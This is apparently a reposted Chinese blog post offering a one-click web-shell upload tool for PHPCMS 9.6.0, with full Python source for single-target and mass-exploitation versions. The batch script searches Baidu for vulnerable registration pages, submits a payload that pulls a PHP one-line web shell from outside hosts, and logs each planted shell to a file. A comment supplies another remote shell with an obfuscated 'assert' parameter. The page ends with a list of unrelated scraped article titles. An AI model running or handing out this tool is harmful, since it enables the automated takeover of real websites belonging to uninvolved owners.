介绍

  • 一键化python 1.py http://xxx.com,如果是批量直接运行py文件即可

待办

  • [] 加入对有验证码phpcms网站的支持
  • [] 加入批量(已完成)

说明

依赖库的安装pip install requests

代码

# -*- coding:utf-8 -*-'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''import requests
import sys
from random import Randomchars = 'qwertyuiopasdfghjklzxcvbnm0123456789'def main():if len(sys.argv) < 2:print("[*]Usage   : Python 1.py http://xxx.com")sys.exit()host = sys.argv[1]url = host + "/index.php?m=member&c=index&a=register&siteid=1"data = {"siteid": "1","modelid": "1","username": "dsakkfaffdssdudi","password": "123456","email": "dsakkfddsjdi@qq.com",# 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0"info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>","dosubmit": "1","protocol": "",}try:rand_name = chars[Random().randint(0, len(chars) - 1)]data["username"] = "akkuman_%s" % rand_namedata["email"] = "akkuman_%s@qq.com" % rand_namehtmlContent = requests.post(url, data=data)successUrl = ""if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"print("[*]Shell  : %s" % successUrl)if successUrl == "":print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")except:print("Request Error")if __name__ == '__main__':main()

批量

# -*- coding:utf-8 -*-'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''import requests
from bs4 import BeautifulSoup
# from urlparse import unquote //Python2
# from urlparse import urlparse //Python2
from urllib.parse import quote
from urllib.parse import urlparse
from random import Randomchars = 'qwertyuiopasdfghjklzxcvbnm0123456789'headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
}def parseBaidu(keyword, pagenum):keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='pnum = 0while pnum <= int(pagenum):baseURL = keywordsBaseURL + str(pnum*10)try:request = requests.get(baseURL, headers=headers)soup = BeautifulSoup(request.text, "html.parser")for a in soup.select('div.c-container > h3 > a'):url = requests.get(a['href'], headers=headers).urlyield urlexcept:yield Nonefinally:pnum += 1def saveShell(shellUrl):with open("webShell.txt","a+") as f:f.write("[*]%s\n" % shellUrl)def main():data = {"siteid": "1","modelid": "1","username": "akkumandsad","password": "123456","email": "akkakkumafa@qq.com",# 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt"info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>","dosubmit": "1","protocol": "",}for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):try:if crawlUrl:rand_name = chars[Random().randint(0, len(chars) - 1)]data["username"] = "akkuman_%s" % rand_namedata["email"] = "akkuman_%s@qq.com" % rand_namehost = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostnameurl = host + "/index.php?m=member&c=index&a=register&siteid=1"htmlContent = requests.post(url, data=data, timeout=10)successUrl = ""if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"print("[*]Shell  : %s" % successUrl)saveShell(successUrl)if successUrl == "":print("[x]Failed : Failed to getshell.")else:continueexcept:print("Request Error")if __name__ == '__main__':main()

测试图

单个

批量

下载地址

代码下载地址

转载于:https://www.cnblogs.com/Akkuman/p/6963148.html

phpcms9-6-0 一键getshell工具相关推荐

  1. 索尼Xperia S_4.0一键ROOT工具┇_┇免解锁┇_┇一分钟ROOT┇_┇

    [实用教程] 本帖最后由 alienware_M 于 2012-9-15 09:24 编辑 >>>>>>>转自搜狐公社<<<<< ...

  2. python phpstudy_GitHub - Writeup007/phpStudyBackDoor: phpStudy后门检测与利用工具,Python脚本,可一键 GetShell。...

    phpStudyBackDoor phpStudy后门检测与利用工具,Python脚本,可一键 GetShell. 简述 2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发 ...

  3. 【6年开源路】海王星给你好看!FineUI v4.0正式版暨《FineUI3to4一键升级工具》发布!...

    去年10-28号,我发布了一篇文章<海王星给你好看!FineUI v4.0公测版发布暨<你找BUG我送书>活动开始>,标志着FineUI开始向4.0版本迈进.经过4个月3个公测 ...

  4. 个人版的一键GHOST工具V1.0 BY何定坤

    这是一个来自个人版的一键ghost系统备份还原工具V1.0,他的名字叫何定坤,量产网觉得还行就分享出来了,有兴趣的可以试试. 个人版的一键GHOST工具V1.0 BY何定坤下载地址:http://ww ...

  5. android7.0root工具,KingRoot全球率先实现Android 7.0一键 Root

    KingRoot全球率先实现Android 7.0一键 Root 2016年09月02日 10:36作者:广州分站文章出处:泡泡网原创 分享 前不久,期待已久的谷歌 Android 7.0/Nouga ...

  6. 【6年开源路】海王星给你好看!FineUI v4.0正式版暨《FineUI3to4一键升级工具》发布!

    去年10-28号,我发布了一篇文章<海王星给你好看!FineUI v4.0公测版发布暨<你找BUG我送书>活动开始>,标志着FineUI开始向4.0版本迈进.经过4个月3个公测 ...

  7. 一键排版工具1.0.6使用说明

    资源说明 一键排版工具是一款专业的文字排版的工具软件,支持是否在段前添加两个全角空格.是否为图片添加1像素边框.是否保留文章内容中的表格等.十分方便快捷,界面简约,布局直观清晰,极易上手,是一款不可多 ...

  8. MetInfo 5.1 自动化getshell工具

    title: MetInfo V5.1 GetShell一键化工具 date: 2016-06-08 22:40:32 categories: Hacker tags:- Hacker- Tools ...

  9. 通达OA v11.7 在线用户登录漏洞复现(附带一键getshell脚本)

    在文章的顶部先说明,本文章所介绍的内容以及所附带的脚本仅供学习,如果存在有牟利行为,个人负责!!!仅用于学习娱乐,切勿用于非法用途!请于下载后24小时内删除,使用者承担所有法律责任!一个类似于越权的漏 ...

最新文章

  1. vb6调用python识别训练例子_在vb6中创建的“标准”dll在python中调用时会出现访问冲突...
  2. 读服务器文件,读取服务器文件
  3. jira webhook 事件触发并程序代码调用jenkins接口触发构建操作
  4. 服务器的系统如何入账,云服务器费用如何入账
  5. Python添加模块路径
  6. 局域网限速软件_8款Windows实用软件推荐,满满的干货,总有一款是你必备的
  7. 人的手臂的自由度的数目以及六自由度机械臂的限制
  8. java 基础知识面试题(持续更新),java基础面试笔试题
  9. 华为Mate X 5G被黄牛炒出天价:这价格都能买辆车了!
  10. Easeljs之regX/regY详解
  11. linux用户组和权限分配
  12. C语言第七讲,函数入门.
  13. 一篇文章,带你详细了解华为认证体系证书(1)
  14. 消息队列实现原理(以kafka为例)
  15. 关于flash播放器不为人知的四大点
  16. Vue的一些API理解整理,如何一次引入多次调用
  17. 在深信服实习是怎样的体验(研发测试岗)
  18. #爬取电影天堂的磁力链接#
  19. 条件随机场CRF(三)
  20. 法国童话故事《小王子》读后感

热门文章

  1. ABAP下载的病毒扫描Virus Scan
  2. linux 管理 服务,Linux服务管理 详述
  3. 服务器c盘大文件怎么查询,怎么查看c盘隐藏文件_怎么查看c盘的大文件
  4. linux主机解析虚拟机超时_Linux 内核超时导致虚拟机无法正常启动
  5. php mariadb 查询语法,从PHP调用的查询中的MySQL(MariaDB)执行超时
  6. gin框架长连接_一个TCP长连接设备管理后台工程(一)
  7. python调用random失败_python怎么调用random
  8. docker $PWD路径_使用docker炼丹
  9. 最长连续序列Python解法
  10. sqlmap安装_黑客神器系列篇章之“sqlmapquot;